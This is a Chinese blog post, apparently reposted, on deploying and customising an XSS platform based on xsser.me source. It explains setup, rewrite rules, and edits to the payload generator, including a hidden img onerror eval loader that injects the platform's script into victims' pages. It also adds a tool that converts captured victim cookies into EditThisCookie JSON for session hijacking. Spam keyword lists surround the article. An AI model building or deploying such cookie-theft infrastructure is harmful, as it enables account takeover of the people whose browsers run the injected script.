中文字幕av专区_日韩电影在线播放_精品国产精品久久一区免费式_av在线免费观看网站

溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點擊 登錄注冊 即表示同意《億速云用戶服務條款》

XSS 平臺搭建與優化(基于 xsser.me 源碼)

發布時間:2020-09-05 11:19:54 來源:網絡 閱讀:2405 作者:源碼論壇1 欄目:建站服務器

本文引用于:征途源碼論壇(www.zhengtuwl.com)-----專注各類免費精品×××的平臺

XSS 平臺搭建與優化(基于 xsser.me 源碼)


這個周花了點時間搗鼓公司內網論壇,不幸發現原來搭建的 xss platform 掛了,于是重新找了一份代碼進行搭建。

為什么選擇這個呢,主要是因為作者用 Bootstrap 對xsser.me的默認主題進行了修改,看起來高大上了很多~(至于兼容移動端神馬的就算了吧0 0)

下載源碼后,照著作者寫的安裝說明進行修改就好了:

  • 修改config.php里面的數據庫連接字段,包括數據庫配置(用戶名、密碼、數據庫名)、網站 URL 路徑和偽靜態配置。

  • 把根目錄下的xssplatform.sql導入到數據庫中。

  • 在數據庫中執行 SQL 語句,把數據庫中的域名改為自己的域名:

UPDATE oc_module SET code=REPLACE(code,'http://xsser.me','http://yourdomain/xss')

  • 替換authtest.php中的域名為自己的域名。

  • 首次注冊成功后,修改user表中用戶對應的adminlevel為1,將自己定義為超級管理員,可以發送和管理邀請碼。

  • 根據 server 類型配置偽靜態文件:

       Apache

<IfModule mod_rewrite.c>RewriteEngine OnRewriteBase /
RewriteRule ^([0-9a-zA-Z]{6})$ /index.php?do=code&urlKey=$1 [L] 
RewriteRule ^do/auth/(\w+?)(/domain/([\w\.]+?))?$  /index.php?do=do&auth=$1&domain=$3 [L] 
RewriteRule ^register/(.*?)$ /index.php?do=register&key=$1 [L] 
RewriteRule ^register-validate/(.*?)$ /index.php?do=register&act=validate&key=$1 [L]

Nginx

rewrite "^/([0-9a-zA-Z]{6})$" /index.php?do=code&urlKey=$1 break;
rewrite "^/do/auth/(w+?)(/domain/([w.]+?))?$" /index.php?do=do&auth=$1&domain=$3 break;
rewrite "^/register/(.*?)$" /index.php?do=register&key=$1 break;
rewrite "^/register-validate/(.*?)$" /index.php?do=register&act=validate&key=$1 break;
rewrite "^/login$" /index.php?do=login break;

到這里xss platform就搭建完成了。


我在使用過程碰到的一些 bug,于是對源代碼進行了一番修改。

1. 短地址接口部分失效

在項目代碼中有一個轉換短地址的功能,當然原版的xsser.me是沒有的,是另外的作者集成進來的。

代碼里提供t.cn和is.gd的短地址轉換,對應函數在source/function.php中的第350行和357行。由于is.gd的 api 地址已經失效,所以我決定把這一塊內容去掉。

先刪掉頁面上展示的內容,打開templates_c/%%4D^4D3^4D30CF2A%%project_viewcode.html.php,將下面代碼去掉:

<p>     
   <pre>        
              <?php echo $this->_tpl_vars['shortShow1']; ?>    
   </pre>
</p>

然后在source/project.php里面注釋下面兩行:

$shortUrl2=LongUrltoShortUrl2($longUrl);//短網址2$shortShow2=StripStr("<script src=".$shortUrl2."></script>");
2. 去掉JS地址后面的時間戳

JS 地址后面加入時間戳,是為了在修改 JS 代碼后,刷新對方瀏覽器中緩存的 JS。但在實際測試中感覺作用不是很大,一般代碼修改完刷新一下網頁出來的就是新代碼。所以我把 JS URL 中的時間戳去掉了。

在source/project.php里進行下面的修改:

//$codeurl=URL_ROOT."/{$project[urlKey]}?".time();
$codeurl=URL_ROOT."/{$project[urlKey]}";
//$scriptShow1=StripStr("<textarea>'"<script src=".URL_ROOT."/{$project[urlKey]}?".time()."></script>");
$scriptShow1=StripStr("<script src=".URL_ROOT."/{$project[urlKey]}></script>");
//$code2='var b=document.createElement("script");b.src="'.URL_ROOT."/{$project[urlKey]}?".'"+Math.random();
(document.getElementsByTagName("HEAD")[0]||document.body).appendChild(b);';
$code2='var b=document.createElement("script");b.src="'.URL_ROOT."/{$project[urlKey]}".'";
(document.getElementsByTagName("HEAD")[0]||document.body).appendChild(b);';
//$scriptShow2=StripStr("</textarea>'\">
<img src=# id=xssyou style=display:none onerror=eval(unescape(/".rawurlencode($code2)."/.source));//>");
$scriptShow2=StripStr("<img src=# id=xssyou style=display:none onerror=eval(unescape(/".rawurlencode($code2)."/.source));//>");
3. HTML 部分優化

代碼中部分 Javascript 和 CSS 資源都是通過國外 CDN 獲取的,有時候頁面 load 很久才出來,于是把文中引用的資源都改為本地,當然改成國內 CDN 地址也可以。

在 Sublime Text 中對目錄進行搜索,找出jquery-1.9.1.min.js和bootstrap.min.js引用的地方,然后修改為本地引用,文件放在themes/default里對應的文件夾。

<script src="http://code.jquery.com/jquery-1.9.1.min.js"></script>
//修改為:
<script src="<?php echo $this->_tpl_vars['url']['themePath']; ?>/js/jquery.min.js"></script>
<script src="http://www.bootstrapcdn.com/bootstrap/2.3.1/js/bootstrap.min.js"></script>
//修改為:
<script src="<?php echo $this->_tpl_vars['url']['themePath']; ?>/js/bootstrap.min.js"></script>

PS.注意修改后的代碼為兩行。

PPS.其實引用的 Javascript 文件最好放在<body>的最后,但這里需要手動找到所有的 Javascript 進行修改,太麻煩了就沒做。

4. 添加 cookie 復制功能

一般來說,打到對方 cookie 后,會借用EditThisCookie這個工具把 cookie 導入到 chrome 中。但document.cookie輸出的 cookie 不能直接導入,需要轉換成EditThisCookie規定的 JSON 格式。

源代碼中本身自帶了實現復制功能的 JS 代碼,但默認是注釋掉的,因為沒有完整實現。同時,這個復制只是把 JSON 化后的 cookie 通過alert()打印到屏幕上,當 cookie 內容過多時,alert 窗口并不能展示所有的內容。

于是我決定對這個功能進行修改,在完成 JSON 格式化的同時,把 JSON 內容放入到剪貼板中。

首先對原有 HTML 節點進行修改,打開%%33^334^334DB811%%project_view.html.php ,找到下面內容:

<li><?php echo $this->_tpl_vars['ck']; ?> : 
<?php echo $this->_tpl_vars['c']; ?>
</li>
修改為:
<li><?php echo $this->_tpl_vars['ck']; ?> : 
<span id="<?php echo $this->_tpl_vars['ck']; ?>">
<?php echo $this->_tpl_vars['c']; ?>
</span>
</li>
<tr class="ohidden">
修改為:
<tr id="<?php echo $this->_tpl_vars['v']['id']; ?>" class="ohidden">
<!--              <a href="javascript:void(0)">復制</a>             -->
修改為:  
<a href="javascript:void(0)">復制</a>

當某一條記錄沒有location或者cookie值的時候,Copy()函數會報錯,所以要加一個判斷條件:

var table = $(obj).parent().parent(); 
var l = table.find("#location").text(); 
var c = table.find("#cookie").text();
var table = $("#"+obj).parent().parent();
var l = table.find("#location").text();
var c = table.find("#cookie").text();
if (l == "" || c == "") {  return "";}

修改Copy()函數的返回形式:

alert(JSON.stringify(data));
return JSON.stringify(data);

為了實現讓 JSON 數據復制到粘貼板上,我們需要借助ZeroClipboard.js這個插件。下面是調用代碼:

<script src="<?php echo $this->_tpl_vars['url']['themePath']; ?>/js/ZeroClipboard.min.js"></script>
ZeroClipboard.config( { swfPath: "'.$this->_tpl_vars['url']['themePath'].'/swf/ZeroClipboard.swf" } );
var client = new ZeroClipboard($(".CopyBtn"));client.on('copy', function(event) 

var clipboard = event.clipboardData;  clipboard.clearData();  
   clipboard.setData("text/plain", Copy(event.target.id));});client.on('aftercopy', function(event) 

if (typeof(event.success['text/plain']) == "undefined") 
{    
alert("cookie復制失敗,請檢查cookie格式~"); 
}  
else {    
alert("cookie已復制到剪貼板,可以導入EditThisCookie啦~");  
        }
    }
);

這樣就大功告成了~


向AI問一下細節

免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。

AI

咸宁市| 鄂托克旗| 绥宁县| 山阳县| 日照市| 安平县| 金坛市| 临城县| 繁峙县| 镇原县| 长海县| 攀枝花市| 虎林市| 靖西县| 和平区| 当阳市| 师宗县| 曲麻莱县| 赤峰市| 牡丹江市| 望江县| 宁德市| 安徽省| 海门市| 元朗区| 尼勒克县| 兴仁县| 田阳县| 苍山县| 沙河市| 咸阳市| 衡东县| 霍山县| 永昌县| 遂溪县| 乳源| 银川市| 漳平市| 丘北县| 福清市| 岳阳县|